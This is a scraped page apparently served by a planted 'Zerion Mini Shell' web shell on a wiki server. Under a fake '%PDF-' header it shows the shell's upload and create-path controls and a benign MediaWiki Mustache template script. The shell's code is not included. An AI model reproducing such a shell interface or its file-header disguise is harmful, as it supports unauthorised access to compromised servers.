%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/resources/src/mediawiki/
Upload File :
Create Path :
Current File : /www/varak.net/wiki.varak.net/resources/src/mediawiki/mediawiki.template.mustache.js

/*global Mustache */
( function ( mw, $ ) {
	// Register mustache compiler
	mw.template.registerCompiler( 'mustache', {
		compile: function ( src ) {
			return {
				/**
				 * @ignore
				 * @return {string} The raw source code of the template
				 */
				getSource: function () {
					return src;
				},
				/**
				 * @ignore
				 * @param {Object} data Data to render
				 * @param {Object} partialTemplates Map partial names to Mustache template objects
				 *  returned by mw.template.get()
				 */
				render: function ( data, partialTemplates ) {
					var partials = {};
					if ( partialTemplates ) {
						$.each( partialTemplates, function ( name, template ) {
							partials[ name ] = template.getSource();
						} );
					}
					return $( $.parseHTML( Mustache.render( src, data, partials ) ) );
				}
			};
		}
	} );

}( mediaWiki, jQuery ) );

Zerion Mini Shell 1.0